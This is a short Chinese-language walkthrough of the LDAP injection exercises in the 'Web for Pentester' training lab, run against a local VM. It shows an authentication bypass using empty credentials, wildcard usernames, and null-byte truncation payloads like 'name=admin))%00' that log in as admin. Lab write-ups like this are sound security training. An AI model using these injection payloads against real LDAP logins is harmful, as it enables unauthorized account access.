Web for Pentester LDAP漏洞

参考解答

Example 1

直接访问,提示认证失败

1
http://192.168.56.101/ldap/example1.php?username=hacker&password=hacker

尝试用空认证访问,发现认证成功

1
http://192.168.56.101/ldap/example1.php

Example 2

直接访问,认证为hacker用户,可是我们希望能认证成admin用户

1
http://192.168.56.101/ldap/example2.php?name=hacker&password=hacker

可以有以下几种尝试
通配符用户名
通配符密码

1
2
http://192.168.56.101/ldap/example2.php?name=h*&password=hacker # 成功
http://192.168.56.101/ldap/example2.php?name=hacker&password=ha* # 失败

推测后端的认证方式

1
(&(Name=[name])(password=hash[password]))

利用截断构造特殊的payload

1
2
3
4
5
6
7
name=hacker))%00
name=hacker))%00password=
name=hacker))%00password=123
name=h*))%00
name=a*))%00
http://192.168.56.101/ldap/example2.php?name=admin))%00
http://192.168.56.101/ldap/example2.php?name=a*))%00

参考资料

Web for pentester I part 2
http://www.atomsec.org/%E5%AE%89%E5%85%A8/web_for_pentester_i-part-2/